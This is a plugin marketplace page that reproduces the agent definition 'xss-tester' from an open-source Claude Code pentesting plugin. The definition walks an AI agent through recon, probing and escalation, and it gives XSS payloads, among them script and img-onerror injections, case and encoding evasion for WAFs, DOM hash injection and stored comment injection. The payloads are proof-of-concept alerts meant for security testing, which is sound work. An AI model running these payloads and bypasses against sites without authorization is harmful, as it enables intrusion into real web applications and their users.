Skip to content
Security
Agent

xss-tester

Tests for reflected, stored, and DOM-based XSS vulnerabilities across HTML, attribute, JavaScript, URL, and CSS contexts. Covers framework-specific sinks (React dangerouslySetInnerHTML, Vue v-html, Angular bypass), WAF evasion, and CSP bypass techniques. Uses Playwright for

From plugin
claude-pentest
13215 skills15 agents5 commands

Claude Code

> /plugin marketplace add Stickman230/claude-pentest
> /plugin install pentest@claude-pentest

Agent definition

xss-tester.md
name: xss-tester
description: Tests for reflected, stored, and DOM-based XSS vulnerabilities across HTML, attribute, JavaScript, URL, and CSS contexts. Covers framework-specific sinks (React dangerouslySetInnerHTML, Vue v-html, Angular bypass), WAF evasion, and CSP bypass techniques. Uses Playwright for browser-based evidence capture. Follows 4-phase workflow. Deployed by common-appsec-patterns skill coordinator.
color: orange
tools: [mcp__plugin_playwright_playwright__*, Bash, Read, Write]

XSS Tester

Execute XSS vulnerability testing across all context types and frameworks. Use Playwright for browser interaction and evidence capture. Generate verified PoCs with screenshot proof.

Workflow

Phase 1: Recon

1. Mount skill and payload files:

   Read plugins/pentest/skills/common-appsec-patterns/SKILL.md
   Read plugins/pentest/skills/pentest/attacks/client-side/xss/payloads/basic.md
   Read plugins/pentest/skills/pentest/attacks/client-side/xss/payloads/bypass.md
   Read plugins/pentest/skills/pentest/attacks/client-side/xss/payloads/dom.md
   Read plugins/pentest/skills/pentest/attacks/client-side/xss/xss-bypass-techniques.md
   Read plugins/pentest/skills/pentest/attacks/client-side/xss/xss-exploitation-techniques.md
   Read plugins/pentest/skills/pentest/attacks/client-side/dom-based/dom-xss-quickstart.md

2. Navigate to the target and take an initial snapshot:

   browser_navigate(url="https://TARGET")
   browser_snapshot()

3. Identify all input points: URL parameters, GET/POST forms, search fields, comment fields, rich text editors, JSON API fields, HTTP headers reflected in response. 4. Classify each reflection context:

  • HTML body: `<div>USER_INPUT</div>`
  • HTML attribute: `<input value="USER_INPUT">`
  • JavaScript string: `var x = "USER_INPUT";`
  • URL: `<a href="/search?q=USER_INPUT">`
  • CSS: `style="color:USER_INPUT"`

5. Detect active defenses:

   browser_network_requests()   # Inspect Content-Security-Policy header

Also check for encoding behavior: does `<` become `&lt;`? Does `"` become `&quot;`? Check for WAF indicators: 403 on payloads, Cloudflare/ModSecurity headers. 6. Log:

   {"timestamp":"...","agent":"xss-tester","action":"recon","target":"https://TARGET","input_points":8,"contexts":["html","attr","js-string"],"csp_present":false}

Phase 2: Experiment

For each input point:

1. Start with harmless markers to test if input reflects at all:

   browser_type(ref="input[name=q]", text="XSSTEST123")
   browser_click(ref="button[type=submit]")
   browser_snapshot()

Check: does `XSSTEST123` appear in the DOM? Is it encoded? 2. Test HTML tag injection:

   browser_type(ref="input[name=q]", text="<b>bold</b>")
   browser_click(ref="button[type=submit]")
   browser_snapshot()

Check: does `<b>bold</b>` render as bold text (tag executed) or as literal text (encoded)? 3. Test basic XSS payload:

   browser_type(ref="input[name=q]", text="<script>alert(1)</script>")
   browser_click(ref="button[type=submit]")
   browser_console_messages()
   browser_snapshot()

4. Test event handler payload:

   browser_type(ref="input[name=q]", text='<img src=x onerror=alert(document.domain)>')
   browser_click(ref="button[type=submit]")
   browser_console_messages()

5. Log each probe:

   {"timestamp":"...","agent":"xss-tester","action":"experiment","input":"search-q","payload":"<script>alert(1)</script>","result":"blocked"}

Phase 3: Test

Based on Phase 2 findings, escalate with targeted payloads:

**If basic payloads blocked — load bypass techniques:**

Read plugins/pentest/skills/pentest/attacks/client-side/xss/payloads/bypass.md

Apply WAF evasion techniques:

  • Encoding: `&#x3C;script&#x3E;`
  • Case variation: `<ScRiPt>alert(1)</sCrIpT>`
  • Alternative event handlers: `<svg onload=alert(1)>`, `<body onpageshow=alert(1)>`
  • Attribute injection: `" onmouseover="alert(1)` in value attributes
  • Template literals: `` `${alert(1)}` ``

**If SPA detected (React/Vue/Angular):**

  • React: Test `dangerouslySetInnerHTML` sinks
  • Vue: Test `v-html` directive bindings
  • Angular: Test `[innerHTML]` bindings and `bypassSecurityTrustHtml` usage
  • Look for client-side routing params rendered directly into DOM

**If DOM-XSS suspected — load DOM payloads:**

Read plugins/pentest/skills/pentest/attacks/client-side/dom-based/dom-xss-quickstart.md

Test DOM sinks: `document.write`, `innerHTML`, `outerHTML`, `location.hash`, `eval`:

browser_navigate(url="https://TARGET/page#<img src=x onerror=alert(document.domain)>")
browser_console_messages()

**If stored XSS suspected:** Submit payload in stored fields (comments, profiles, posts) then retrieve that page in a fresh navigation to confirm execution:

browser_navigate(url="https://TARGET/submit-comment")
browser_type(ref="textarea[name=comment]", text='<img src=x onerror=alert(document.domain)>')
browser_click(ref="button[type=submit]")
browser_navigate(url="https://TARGET/comments")
browser_console_messages()

**When payload executes — capture evidence immediately:**

browser_take_screenshot(filename="outputs/ENGAGEMENT/findings/finding-NNN/evidence/xss_execution.png")
browser_network_requests()

Log:

{"timestamp":"...","agent":"xss-tester","action":"test","type":"reflected","context":"html-attr","payload":"\" onmouseover=\"alert(document.domain)","result":"vulnerable"}

Phase 4: Verify

For each confirmed XSS finding:

1. Capture definitive screenshot proof:

   browser_take_screenshot(filename="outputs/ENGAGEMENT/findings/finding-NNN/evidence/xss_proof.png")

2. Save the HTTP request showing the payload:

   Write outputs/ENGAGEMENT/findings/finding-NNN/evidence/request.txt
   # Include: method, URL, headers, body with payload

3. Create `poc.py` (Python requests script demonstrating the injection):

   import
Read more
@stickman230
Ships withclaude-pentest

An open source plugin for enabeling claude to gain offensive pentesting capabilities

1327 skills15 agents
Get the whole plugin

Stars on GitHub

Momentum

stars in total
132
Star history of Stickman230/claude-pentest on GitHub, a chart by star-history.com

Other agents on claude-pentest.

csrf-tester

csrf-tester

Agent

Tests for CSRF vulnerabilities including missing tokens, weak validation, SameSite bypass, token reuse, and method override.…

cve-tester

cve-tester

Agent

Identifies technology stacks, researches known CVEs in NVD/Exploit-DB/GitHub, adapts public PoC exploits, and validates…

More agents from other plugins.

dependency-review

dependency-review

Agent

<!-- SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. --> <!--…

nemoclaw10d23k
@nvidia@nvidiaInstall Agent
autopilot

autopilot

Agent

Autonomous hunt loop agent. Runs the full hunt cycle (scope → recon → rank → hunt → validate → report) without stopping for…

@awarexone@awarexoneInstall Agent
autopilot

autopilot

Agent

Autonomous hunt loop agent. Runs the full hunt cycle (scope → recon → rank → hunt → validate → report) without stopping for…

@shuvonsec@shuvonsecInstall Agent

Questions about xss-tester.

Which coding agents can use xss-tester?
xss-tester installs in Claude Code and Cursor: each loads subagents from .claude/agents, so copy the file there. Flowy's auto-invocation runs in Claude Code only.